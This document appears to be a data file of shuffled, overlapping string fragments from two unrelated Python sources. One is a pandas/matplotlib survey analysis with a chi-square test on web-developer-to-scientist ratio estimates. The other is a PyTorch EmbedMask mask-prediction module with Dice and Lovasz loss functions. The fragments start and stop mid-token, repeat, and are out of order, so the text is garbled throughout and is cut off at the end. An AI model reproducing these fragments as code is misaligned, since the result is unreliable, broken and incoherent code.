df[df['python_main'] !=", "In the survey, respondents were asked to estimate the ratio", "if x.usecol] # dtypes should be a dict of 'col_name'", "a difference! # This is a categorical data point, and", "in the data # dictionary. So we shouldn't sort it", "'col_name' : dtype dtypes = {x.name : x.dtype for x", "fig = plt.figure() ax = fig.add_subplot(111) RATIO_COUNT = ratio_self.count() x", "others_numeric = df['webdev_science_ratio_others'] \\ .replace(CONVERSION.keys(), CONVERSION.values()) print(f'Self:\\t\\t{self_numeric.mean().round(2)} web devs /", "# In the survey, any user who selected they don't", "[x.name for x in DATA_DICTIONARY if x.usecol] # dtypes should", "numbers, and calculate the means CONVERSION = { '10:1': 10,", "np import matplotlib.pyplot as plt import scipy.stats from finished_files.survey_data_dictionary import", "\\ .replace(CONVERSION.keys(), CONVERSION.values()) others_numeric = df['webdev_science_ratio_others'] \\ .replace(CONVERSION.keys(), CONVERSION.values()) print(f'Self:\\t\\t{self_numeric.mean().round(2)}", "x in DATA_DICTIONARY if x.usecol] # dtypes should be a", "estimate the ratio between # the amount of web developers", "df['webdev_science_ratio_others'].value_counts(sort=False) # Let's draw a bar chart comparing the distributions", "of names to import usecols = [x.name for x in", "# disqualified from the rest of the survey. So let's", "x.converter} df = pd.read_csv('data/survey.csv', header=0, names=names, dtype=dtypes, converters=converters, usecols=usecols) #%%", "want to take the names list from our data dictionary", "[x.name for x in DATA_DICTIONARY] # Generate the list of", ": dtype dtypes = {x.name : x.dtype for x in", "# same for converters converters = {x.name : x.converter for", "for my current projects'] # Considering we now only have", "dict of 'col_name' : dtype dtypes = {x.name : x.dtype", "Is the difference statistically significant? result = scipy.stats.chisquare(ratio_self, ratio_others) #", "Clean up data: remove disqualified users # In the survey,", "df = pd.read_csv('data/survey.csv', header=0, names=names, dtype=dtypes, converters=converters, usecols=usecols) #%% Clean", "# Let's draw a bar chart comparing the distributions fig", "already ordered in the data # dictionary. So we shouldn't", "= {x.name : x.converter for x in DATA_DICTIONARY if x.converter}", "- Yes # - No, I use Python for secondary", "ratio_self = df['webdev_science_ratio_self'].value_counts(sort=False) ratio_others = df['webdev_science_ratio_others'].value_counts(sort=False) # Let's draw a", "scipy.stats.chisquare(ratio_self, ratio_others) # The null hypothesis is that they're the", "'2:1' : 2, '1:1' : 1, '1:2' : 0.5, '1:5'", "print(f'Others:\\t\\t{others_numeric.mean().round(2)} web devs / scientist') #%% Is the difference statistically", "= ax.bar(x, ratio_others, width=WIDTH, color='g', align='center') ax.set_xlabel('Ratios') ax.set_ylabel('Observations') labels =", "df['python_main'] == 'Yes' #%% Plot the web dev / data", "counting the values. ratio_self = df['webdev_science_ratio_self'].value_counts(sort=False) ratio_others = df['webdev_science_ratio_others'].value_counts(sort=False) #", "dtype dtypes = {x.name : x.dtype for x in DATA_DICTIONARY", "the survey. So let's drop them here. df = df[df['python_main']", "'No, I don’t use Python for my current projects'] #", "DATA_DICTIONARY] # Generate the list of names to import usecols", "x in DATA_DICTIONARY if x.converter} df = pd.read_csv('data/survey.csv', header=0, names=names,", "projects'] # Considering we now only have two categories left:", "names to import usecols = [x.name for x in DATA_DICTIONARY", "they thought the most popular answer would be. # Let's", "the most popular answer would be. # Let's see if", "totals # Let's recode the ratios to numbers, and calculate", "the data # dictionary. So we shouldn't sort it after", "ratio_self, width=WIDTH, color='b', align='center') others_bars = ax.bar(x, ratio_others, width=WIDTH, color='g',", "align='center') ax.set_xlabel('Ratios') ax.set_ylabel('Observations') labels = [str(lbl) for lbl in ratio_self.index]", "take the names list from our data dictionary names =", "survey, respondents were asked to estimate the ratio between #" ]
[ "def __init__(self, cfg): super(MaskPred, self).__init__() self.in_channels = cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS self.mask_out_stride =", "(1 - gt_sorted.float()).cumsum(0) jaccard = 1. - intersection / union", "per_im in gt_instances]) gt_bitmasks = gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype) losses = {} if", "jaccard[1:p] = jaccard[1:p] - jaccard[0:-1] return jaccard def lovasz_hinge(logits, labels):", "= cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA def __call__(self, pixel_embed, mask_feat_stride, pred_instances, gt_instances=None): if self.training:", "= dice_coefficient(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() elif self.mask_loss_type == \"Lovasz\":", "cfg): super(MaskPred, self).__init__() self.in_channels = cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS self.mask_out_stride = cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE soi", "w.r.t sorted errors See Alg. 1 in paper \"\"\" p", "dim=3)) assert mask_feat_stride >= self.mask_out_stride assert mask_feat_stride % self.mask_out_stride ==", "dice_coefficient(x, target): eps = 1e-5 n_inst = x.size(0) x =", "mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) pred_instances.pred_global_masks = mask_prob return pred_instances", "lovasz_loss(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() losses[\"loss_mask\"] = loss_mask * self.mask_loss_alpha", "self.mask_out_stride assert mask_feat_stride % self.mask_out_stride == 0 mask_prob = aligned_bilinear(mask_prob.unsqueeze(1),", "target[i])) loss = torch.stack(losses) return loss def build_mask_pred(cfg): return MaskPred(cfg)", "1)[im_inds] proposal_embed = proposal_embed.view(obj_num, 1, 1, -1).expand(-1, m_h, m_w, -1)", "pixel_embed, mask_feat_stride) if self.mask_loss_type == \"Dice\": mask_losses = dice_coefficient(mask_prob, gt_bitmasks)", "= proposal_embed.shape[0] pixel_embed = pixel_embed.permute(0, 2, 3, 1)[im_inds] proposal_embed =", "target.reshape(n_inst, -1) intersection = (x * target).sum(dim=1) union = (x", "1: # cover 1-pixel case jaccard[1:p] = jaccard[1:p] - jaccard[0:-1]", "return loss def lovasz_loss(x, target): eps = 1e-6 n_inst =", "losses = [] for i in range(n_inst): losses.append(lovasz_hinge(x[i], target[i])) loss", "lovasz_grad(gt_sorted) loss = torch.dot(F.relu(errors_sorted), Variable(grad)) return loss def lovasz_loss(x, target):", "gt_bitmasks = torch.cat([per_im.gt_bitmasks for per_im in gt_instances]) gt_bitmasks = gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype)", "0: # only void pixels, the gradients should be 0", "losses else: if len(pred_instances) > 0: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed,", "losses[\"loss_mask\"] = loss_mask * self.mask_loss_alpha return losses else: if len(pred_instances)", "super(MaskPred, self).__init__() self.in_channels = cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS self.mask_out_stride = cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE soi =", "loss = torch.dot(F.relu(errors_sorted), Variable(grad)) return loss def lovasz_loss(x, target): eps", "= gts + (1 - gt_sorted.float()).cumsum(0) jaccard = 1. -", "truth labels (0 or 1) \"\"\" if len(labels) == 0:", "adet.utils.comm import compute_locations, aligned_bilinear def dice_coefficient(x, target): eps = 1e-5", "range(n_inst): losses.append(lovasz_hinge(x[i], target[i])) loss = torch.stack(losses) return loss def build_mask_pred(cfg):", "= pixel_embed.permute(0, 2, 3, 1)[im_inds] proposal_embed = proposal_embed.view(obj_num, 1, 1,", "proposal_embed = proposal_embed.view(obj_num, 1, 1, -1).expand(-1, m_h, m_w, -1) proposal_margin", "2])) self.register_buffer(\"_iter\", torch.zeros([1])) self.mask_loss_type = cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE self.mask_loss_alpha = cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA def", "lovasz_loss(x, target): eps = 1e-6 n_inst = x.size(0) x =", "** 2.0).sum(dim=1) + eps loss = 1. - (2 *", "pred_instances.pred_global_masks = mask_prob return pred_instances def compute_mask_prob(self, instances, pixel_embed, mask_feat_stride):", "errors_sorted, perm = torch.sort(errors, dim=0, descending=True) perm = perm.data gt_sorted", "dim).expand(-1, m_h, m_w, -1) mask_var = (pixel_embed - proposal_embed) **", "[] for i in range(n_inst): losses.append(lovasz_hinge(x[i], target[i])) loss = torch.stack(losses)", "dice_coefficient(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() elif self.mask_loss_type == \"Lovasz\": mask_losses", "perm.data gt_sorted = labels[perm] grad = lovasz_grad(gt_sorted) loss = torch.dot(F.relu(errors_sorted),", "pred_instances, gt_instances=None): if self.training: self._iter += 1 gt_inds = pred_instances.gt_inds", "= lovasz_loss(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() losses[\"loss_mask\"] = loss_mask *", "mask_losses = lovasz_loss(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() losses[\"loss_mask\"] = loss_mask", "- torch.log(1 - x) losses = [] for i in", "jaccard def lovasz_hinge(logits, labels): \"\"\" Binary Lovasz hinge loss logits:", "gt_sorted.float().cumsum(0) union = gts + (1 - gt_sorted.float()).cumsum(0) jaccard =", "= cfg.MODEL.FCOS.SIZES_OF_INTEREST self.register_buffer(\"sizes_of_interest\", torch.tensor(soi + [soi[-1] * 2])) self.register_buffer(\"_iter\", torch.zeros([1]))", "gt_sorted.sum() intersection = gts - gt_sorted.float().cumsum(0) union = gts +", "mask_var = (pixel_embed - proposal_embed) ** 2 mask_prob = torch.exp(-torch.sum(mask_var", "self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) if self.mask_loss_type == \"Dice\": mask_losses = dice_coefficient(mask_prob,", "__init__(self, cfg): super(MaskPred, self).__init__() self.in_channels = cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS self.mask_out_stride = cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE", "loss_mask = mask_losses.mean() losses[\"loss_mask\"] = loss_mask * self.mask_loss_alpha return losses", "x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) intersection = (x *", "paper \"\"\" p = len(gt_sorted) gts = gt_sorted.sum() intersection =", "or 1) \"\"\" if len(labels) == 0: # only void", "return MaskPred(cfg) class MaskPred(nn.Module): def __init__(self, cfg): super(MaskPred, self).__init__() self.in_channels", "self.register_buffer(\"sizes_of_interest\", torch.tensor(soi + [soi[-1] * 2])) self.register_buffer(\"_iter\", torch.zeros([1])) self.mask_loss_type =", "gradient of the Lovasz extension w.r.t sorted errors See Alg.", "+ eps loss = 1. - (2 * intersection /", "pixel_embed, mask_feat_stride): proposal_embed = instances.proposal_embed proposal_margin = instances.proposal_margin im_inds =", "** 2 mask_prob = torch.exp(-torch.sum(mask_var * proposal_margin, dim=3)) assert mask_feat_stride", "Variable(signs)) errors_sorted, perm = torch.sort(errors, dim=0, descending=True) perm = perm.data", "mask_prob return pred_instances def compute_mask_prob(self, instances, pixel_embed, mask_feat_stride): proposal_embed =", "+ pred_instances.proposal_embed.sum() * 0 + pred_instances.proposal_margin.sum() * 0 losses[\"loss_mask\"] =", "-1) target = target.reshape(n_inst, -1) x = torch.clamp(x, min=eps, max=1-eps)", ">= self.mask_out_stride assert mask_feat_stride % self.mask_out_stride == 0 mask_prob =", "if len(pred_instances) > 0: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) pred_instances.pred_global_masks", "mask_feat_stride) if self.mask_loss_type == \"Dice\": mask_losses = dice_coefficient(mask_prob, gt_bitmasks) loss_mask", "i in range(n_inst): losses.append(lovasz_hinge(x[i], target[i])) loss = torch.stack(losses) return loss", "soi = cfg.MODEL.FCOS.SIZES_OF_INTEREST self.register_buffer(\"sizes_of_interest\", torch.tensor(soi + [soi[-1] * 2])) self.register_buffer(\"_iter\",", "mask_feat_stride >= self.mask_out_stride assert mask_feat_stride % self.mask_out_stride == 0 mask_prob", "cover 1-pixel case jaccard[1:p] = jaccard[1:p] - jaccard[0:-1] return jaccard", "target.reshape(n_inst, -1) x = torch.clamp(x, min=eps, max=1-eps) x = torch.log(x)", "pixel_embed = pixel_embed.permute(0, 2, 3, 1)[im_inds] proposal_embed = proposal_embed.view(obj_num, 1,", "cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE self.mask_loss_alpha = cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA def __call__(self, pixel_embed, mask_feat_stride, pred_instances, gt_instances=None):", "* 2])) self.register_buffer(\"_iter\", torch.zeros([1])) self.mask_loss_type = cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE self.mask_loss_alpha = cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA", "pixel_embed.permute(0, 2, 3, 1)[im_inds] proposal_embed = proposal_embed.view(obj_num, 1, 1, -1).expand(-1,", "m_w, -1) mask_var = (pixel_embed - proposal_embed) ** 2 mask_prob", "compute_mask_prob(self, instances, pixel_embed, mask_feat_stride): proposal_embed = instances.proposal_embed proposal_margin = instances.proposal_margin", "= mask_prob return pred_instances def compute_mask_prob(self, instances, pixel_embed, mask_feat_stride): proposal_embed", "= instances.im_inds dim, m_h, m_w = pixel_embed.shape[-3:] obj_num = proposal_embed.shape[0]", "* 0 + pred_instances.proposal_embed.sum() * 0 + pred_instances.proposal_margin.sum() * 0", "return loss def build_mask_pred(cfg): return MaskPred(cfg) class MaskPred(nn.Module): def __init__(self,", "= mask_losses.mean() elif self.mask_loss_type == \"Lovasz\": mask_losses = lovasz_loss(mask_prob, gt_bitmasks)", "proposal_margin = instances.proposal_margin im_inds = instances.im_inds dim, m_h, m_w =", "- (2 * intersection / union) return loss def lovasz_grad(gt_sorted):", "gt_instances]) gt_bitmasks = gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype) losses = {} if len(pred_instances) ==", "union) return loss def lovasz_grad(gt_sorted): \"\"\" Computes gradient of the", "x = x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) intersection =", "assert mask_feat_stride % self.mask_out_stride == 0 mask_prob = aligned_bilinear(mask_prob.unsqueeze(1), int(mask_feat_stride", "(pixel_embed - proposal_embed) ** 2 mask_prob = torch.exp(-torch.sum(mask_var * proposal_margin,", "hinge loss logits: [P] Variable, logits at each prediction (between", "-1).expand(-1, m_h, m_w, -1) proposal_margin = proposal_margin.view(obj_num, 1, 1, dim).expand(-1,", "the Lovasz extension w.r.t sorted errors See Alg. 1 in", "errors = (1. - logits * Variable(signs)) errors_sorted, perm =", "as F from torch import nn from torch.autograd import Variable", "Computes gradient of the Lovasz extension w.r.t sorted errors See", "= instances.proposal_embed proposal_margin = instances.proposal_margin im_inds = instances.im_inds dim, m_h,", "m_w, -1) proposal_margin = proposal_margin.view(obj_num, 1, 1, dim).expand(-1, m_h, m_w,", "pixel_embed.shape[-3:] obj_num = proposal_embed.shape[0] pixel_embed = pixel_embed.permute(0, 2, 3, 1)[im_inds]", "* target).sum(dim=1) union = (x ** 2.0).sum(dim=1) + (target **", "gt_sorted = labels[perm] grad = lovasz_grad(gt_sorted) loss = torch.dot(F.relu(errors_sorted), Variable(grad))", "def build_mask_pred(cfg): return MaskPred(cfg) class MaskPred(nn.Module): def __init__(self, cfg): super(MaskPred,", "compute_locations, aligned_bilinear def dice_coefficient(x, target): eps = 1e-5 n_inst =", "loss def lovasz_grad(gt_sorted): \"\"\" Computes gradient of the Lovasz extension", "in paper \"\"\" p = len(gt_sorted) gts = gt_sorted.sum() intersection", "self.mask_loss_type == \"Dice\": mask_losses = dice_coefficient(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean()", "+\\infty) labels: [P] Tensor, binary ground truth labels (0 or", "p > 1: # cover 1-pixel case jaccard[1:p] = jaccard[1:p]", "proposal_embed = instances.proposal_embed proposal_margin = instances.proposal_margin im_inds = instances.im_inds dim,", "in range(n_inst): losses.append(lovasz_hinge(x[i], target[i])) loss = torch.stack(losses) return loss def", "cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS self.mask_out_stride = cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE soi = cfg.MODEL.FCOS.SIZES_OF_INTEREST self.register_buffer(\"sizes_of_interest\", torch.tensor(soi +", "self).__init__() self.in_channels = cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS self.mask_out_stride = cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE soi = cfg.MODEL.FCOS.SIZES_OF_INTEREST", "mask_feat_stride, pred_instances, gt_instances=None): if self.training: self._iter += 1 gt_inds =", "labels[perm] grad = lovasz_grad(gt_sorted) loss = torch.dot(F.relu(errors_sorted), Variable(grad)) return loss", "loss def lovasz_loss(x, target): eps = 1e-6 n_inst = x.size(0)", "\"\"\" p = len(gt_sorted) gts = gt_sorted.sum() intersection = gts", "- proposal_embed) ** 2 mask_prob = torch.exp(-torch.sum(mask_var * proposal_margin, dim=3))", "len(pred_instances) == 0: dummy_loss = pixel_embed.sum() * 0 + pred_instances.proposal_embed.sum()", "1) \"\"\" if len(labels) == 0: # only void pixels,", "mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) if self.mask_loss_type == \"Dice\": mask_losses", "assert mask_feat_stride >= self.mask_out_stride assert mask_feat_stride % self.mask_out_stride == 0", "import torch from torch.nn import functional as F from torch", "= cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS self.mask_out_stride = cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE soi = cfg.MODEL.FCOS.SIZES_OF_INTEREST self.register_buffer(\"sizes_of_interest\", torch.tensor(soi", "Variable, logits at each prediction (between -\\infty and +\\infty) labels:", "torch.sort(errors, dim=0, descending=True) perm = perm.data gt_sorted = labels[perm] grad", "= x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) intersection = (x", "* self.mask_loss_alpha return losses else: if len(pred_instances) > 0: mask_prob", "1, dim).expand(-1, m_h, m_w, -1) mask_var = (pixel_embed - proposal_embed)", "= labels[perm] grad = lovasz_grad(gt_sorted) loss = torch.dot(F.relu(errors_sorted), Variable(grad)) return", "proposal_embed) ** 2 mask_prob = torch.exp(-torch.sum(mask_var * proposal_margin, dim=3)) assert", "= cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE self.mask_loss_alpha = cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA def __call__(self, pixel_embed, mask_feat_stride, pred_instances,", "logits at each prediction (between -\\infty and +\\infty) labels: [P]", "= [] for i in range(n_inst): losses.append(lovasz_hinge(x[i], target[i])) loss =", "* 0 losses[\"loss_mask\"] = dummy_loss else: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed,", "pred_instances.gt_inds gt_bitmasks = torch.cat([per_im.gt_bitmasks for per_im in gt_instances]) gt_bitmasks =", "= lovasz_grad(gt_sorted) loss = torch.dot(F.relu(errors_sorted), Variable(grad)) return loss def lovasz_loss(x,", "torch.cat([per_im.gt_bitmasks for per_im in gt_instances]) gt_bitmasks = gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype) losses =", "loss = 1. - (2 * intersection / union) return", "1. errors = (1. - logits * Variable(signs)) errors_sorted, perm", "self.mask_loss_type == \"Lovasz\": mask_losses = lovasz_loss(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean()", "= 1e-6 n_inst = x.size(0) x = x.reshape(n_inst, -1) target", "self.training: self._iter += 1 gt_inds = pred_instances.gt_inds gt_bitmasks = torch.cat([per_im.gt_bitmasks", "# only void pixels, the gradients should be 0 return", "= torch.clamp(x, min=eps, max=1-eps) x = torch.log(x) - torch.log(1 -", "jaccard[1:p] - jaccard[0:-1] return jaccard def lovasz_hinge(logits, labels): \"\"\" Binary", "the gradients should be 0 return logits.sum() * 0. signs", "case jaccard[1:p] = jaccard[1:p] - jaccard[0:-1] return jaccard def lovasz_hinge(logits,", "1e-6 n_inst = x.size(0) x = x.reshape(n_inst, -1) target =", "+= 1 gt_inds = pred_instances.gt_inds gt_bitmasks = torch.cat([per_im.gt_bitmasks for per_im", "union = (x ** 2.0).sum(dim=1) + (target ** 2.0).sum(dim=1) +", "Variable from adet.utils.comm import compute_locations, aligned_bilinear def dice_coefficient(x, target): eps", "= 1. - (2 * intersection / union) return loss", "else: if len(pred_instances) > 0: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride)", "mask_prob = torch.exp(-torch.sum(mask_var * proposal_margin, dim=3)) assert mask_feat_stride >= self.mask_out_stride", "(x * target).sum(dim=1) union = (x ** 2.0).sum(dim=1) + (target", "loss logits: [P] Variable, logits at each prediction (between -\\infty", "= (1. - logits * Variable(signs)) errors_sorted, perm = torch.sort(errors,", "def __call__(self, pixel_embed, mask_feat_stride, pred_instances, gt_instances=None): if self.training: self._iter +=", "x = x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) x =", "1, 1, -1).expand(-1, m_h, m_w, -1) proposal_margin = proposal_margin.view(obj_num, 1,", "self.in_channels = cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS self.mask_out_stride = cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE soi = cfg.MODEL.FCOS.SIZES_OF_INTEREST self.register_buffer(\"sizes_of_interest\",", "mask_feat_stride): proposal_embed = instances.proposal_embed proposal_margin = instances.proposal_margin im_inds = instances.im_inds", "1. - intersection / union if p > 1: #", "gt_inds = pred_instances.gt_inds gt_bitmasks = torch.cat([per_im.gt_bitmasks for per_im in gt_instances])", "loss = torch.stack(losses) return loss def build_mask_pred(cfg): return MaskPred(cfg) class", "dim=0, descending=True) perm = perm.data gt_sorted = labels[perm] grad =", "= target.reshape(n_inst, -1) x = torch.clamp(x, min=eps, max=1-eps) x =", "-\\infty and +\\infty) labels: [P] Tensor, binary ground truth labels", "gts + (1 - gt_sorted.float()).cumsum(0) jaccard = 1. - intersection", "gt_instances=None): if self.training: self._iter += 1 gt_inds = pred_instances.gt_inds gt_bitmasks", "signs = 2. * labels.float() - 1. errors = (1.", "perm = torch.sort(errors, dim=0, descending=True) perm = perm.data gt_sorted =", "= loss_mask * self.mask_loss_alpha return losses else: if len(pred_instances) >", "extension w.r.t sorted errors See Alg. 1 in paper \"\"\"", "[P] Tensor, binary ground truth labels (0 or 1) \"\"\"", "perm = perm.data gt_sorted = labels[perm] grad = lovasz_grad(gt_sorted) loss", "len(pred_instances) > 0: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) pred_instances.pred_global_masks =", "== \"Lovasz\": mask_losses = lovasz_loss(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() losses[\"loss_mask\"]", "- gt_sorted.float()).cumsum(0) jaccard = 1. - intersection / union if", "mask_feat_stride % self.mask_out_stride == 0 mask_prob = aligned_bilinear(mask_prob.unsqueeze(1), int(mask_feat_stride /", "import Variable from adet.utils.comm import compute_locations, aligned_bilinear def dice_coefficient(x, target):", "== \"Dice\": mask_losses = dice_coefficient(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() elif", "return logits.sum() * 0. signs = 2. * labels.float() -", "* Variable(signs)) errors_sorted, perm = torch.sort(errors, dim=0, descending=True) perm =", "instances.proposal_embed proposal_margin = instances.proposal_margin im_inds = instances.im_inds dim, m_h, m_w", "aligned_bilinear def dice_coefficient(x, target): eps = 1e-5 n_inst = x.size(0)", "(2 * intersection / union) return loss def lovasz_grad(gt_sorted): \"\"\"", "+ (1 - gt_sorted.float()).cumsum(0) jaccard = 1. - intersection /", "be 0 return logits.sum() * 0. signs = 2. *", "if self.training: self._iter += 1 gt_inds = pred_instances.gt_inds gt_bitmasks =", "dummy_loss = pixel_embed.sum() * 0 + pred_instances.proposal_embed.sum() * 0 +", "(between -\\infty and +\\infty) labels: [P] Tensor, binary ground truth", "= gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype) losses = {} if len(pred_instances) == 0: dummy_loss", "torch.log(1 - x) losses = [] for i in range(n_inst):", "= cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE soi = cfg.MODEL.FCOS.SIZES_OF_INTEREST self.register_buffer(\"sizes_of_interest\", torch.tensor(soi + [soi[-1] *", "gt_bitmasks) loss_mask = mask_losses.mean() elif self.mask_loss_type == \"Lovasz\": mask_losses =", "torch.nn import functional as F from torch import nn from", "losses = {} if len(pred_instances) == 0: dummy_loss = pixel_embed.sum()", "from torch.nn import functional as F from torch import nn", "# cover 1-pixel case jaccard[1:p] = jaccard[1:p] - jaccard[0:-1] return", "labels (0 or 1) \"\"\" if len(labels) == 0: #", "dummy_loss else: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) if self.mask_loss_type ==", "torch from torch.nn import functional as F from torch import", "nn from torch.autograd import Variable from adet.utils.comm import compute_locations, aligned_bilinear", "p = len(gt_sorted) gts = gt_sorted.sum() intersection = gts -", "cfg.MODEL.FCOS.SIZES_OF_INTEREST self.register_buffer(\"sizes_of_interest\", torch.tensor(soi + [soi[-1] * 2])) self.register_buffer(\"_iter\", torch.zeros([1])) self.mask_loss_type", "= self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) if self.mask_loss_type == \"Dice\": mask_losses =", "cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE soi = cfg.MODEL.FCOS.SIZES_OF_INTEREST self.register_buffer(\"sizes_of_interest\", torch.tensor(soi + [soi[-1] * 2]))", "torch.exp(-torch.sum(mask_var * proposal_margin, dim=3)) assert mask_feat_stride >= self.mask_out_stride assert mask_feat_stride", "mask_losses.mean() losses[\"loss_mask\"] = loss_mask * self.mask_loss_alpha return losses else: if", "at each prediction (between -\\infty and +\\infty) labels: [P] Tensor,", "len(gt_sorted) gts = gt_sorted.sum() intersection = gts - gt_sorted.float().cumsum(0) union", "% self.mask_out_stride == 0 mask_prob = aligned_bilinear(mask_prob.unsqueeze(1), int(mask_feat_stride / self.mask_out_stride))", "logits: [P] Variable, logits at each prediction (between -\\infty and", "** 2.0).sum(dim=1) + (target ** 2.0).sum(dim=1) + eps loss =", "torch.clamp(x, min=eps, max=1-eps) x = torch.log(x) - torch.log(1 - x)", "2 mask_prob = torch.exp(-torch.sum(mask_var * proposal_margin, dim=3)) assert mask_feat_stride >=", "min=eps, max=1-eps) x = torch.log(x) - torch.log(1 - x) losses", "intersection = gts - gt_sorted.float().cumsum(0) union = gts + (1", "pixel_embed.sum() * 0 + pred_instances.proposal_embed.sum() * 0 + pred_instances.proposal_margin.sum() *", "labels.float() - 1. errors = (1. - logits * Variable(signs))", "target).sum(dim=1) union = (x ** 2.0).sum(dim=1) + (target ** 2.0).sum(dim=1)", "max=1-eps) x = torch.log(x) - torch.log(1 - x) losses =", "gt_bitmasks) loss_mask = mask_losses.mean() losses[\"loss_mask\"] = loss_mask * self.mask_loss_alpha return", "= 1e-5 n_inst = x.size(0) x = x.reshape(n_inst, -1) target", "-1) target = target.reshape(n_inst, -1) intersection = (x * target).sum(dim=1)", "if self.mask_loss_type == \"Dice\": mask_losses = dice_coefficient(mask_prob, gt_bitmasks) loss_mask =", "pixel_embed, mask_feat_stride) pred_instances.pred_global_masks = mask_prob return pred_instances def compute_mask_prob(self, instances,", "instances.im_inds dim, m_h, m_w = pixel_embed.shape[-3:] obj_num = proposal_embed.shape[0] pixel_embed", "instances.proposal_margin im_inds = instances.im_inds dim, m_h, m_w = pixel_embed.shape[-3:] obj_num", "= self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) pred_instances.pred_global_masks = mask_prob return pred_instances def", "1. - (2 * intersection / union) return loss def", "mask_feat_stride) pred_instances.pred_global_masks = mask_prob return pred_instances def compute_mask_prob(self, instances, pixel_embed,", "3, 1)[im_inds] proposal_embed = proposal_embed.view(obj_num, 1, 1, -1).expand(-1, m_h, m_w,", "x = torch.clamp(x, min=eps, max=1-eps) x = torch.log(x) - torch.log(1", "return pred_instances def compute_mask_prob(self, instances, pixel_embed, mask_feat_stride): proposal_embed = instances.proposal_embed", "= jaccard[1:p] - jaccard[0:-1] return jaccard def lovasz_hinge(logits, labels): \"\"\"", "(target ** 2.0).sum(dim=1) + eps loss = 1. - (2", "== 0: # only void pixels, the gradients should be", "Tensor, binary ground truth labels (0 or 1) \"\"\" if", "[soi[-1] * 2])) self.register_buffer(\"_iter\", torch.zeros([1])) self.mask_loss_type = cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE self.mask_loss_alpha =", "pred_instances.proposal_margin.sum() * 0 losses[\"loss_mask\"] = dummy_loss else: mask_prob = self.compute_mask_prob(pred_instances,", "intersection / union if p > 1: # cover 1-pixel", "jaccard[0:-1] return jaccard def lovasz_hinge(logits, labels): \"\"\" Binary Lovasz hinge", "torch.dot(F.relu(errors_sorted), Variable(grad)) return loss def lovasz_loss(x, target): eps = 1e-6", "ground truth labels (0 or 1) \"\"\" if len(labels) ==", "/ union if p > 1: # cover 1-pixel case", "eps = 1e-5 n_inst = x.size(0) x = x.reshape(n_inst, -1)", "cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA def __call__(self, pixel_embed, mask_feat_stride, pred_instances, gt_instances=None): if self.training: self._iter", "sorted errors See Alg. 1 in paper \"\"\" p =", "jaccard = 1. - intersection / union if p >", "F from torch import nn from torch.autograd import Variable from", "= (x ** 2.0).sum(dim=1) + (target ** 2.0).sum(dim=1) + eps", "if p > 1: # cover 1-pixel case jaccard[1:p] =", "len(labels) == 0: # only void pixels, the gradients should", "= x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) x = torch.clamp(x,", "of the Lovasz extension w.r.t sorted errors See Alg. 1", "x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) x = torch.clamp(x, min=eps,", "x.size(0) x = x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) x", "x = torch.log(x) - torch.log(1 - x) losses = []", "labels): \"\"\" Binary Lovasz hinge loss logits: [P] Variable, logits", "void pixels, the gradients should be 0 return logits.sum() *", "{} if len(pred_instances) == 0: dummy_loss = pixel_embed.sum() * 0", "- intersection / union if p > 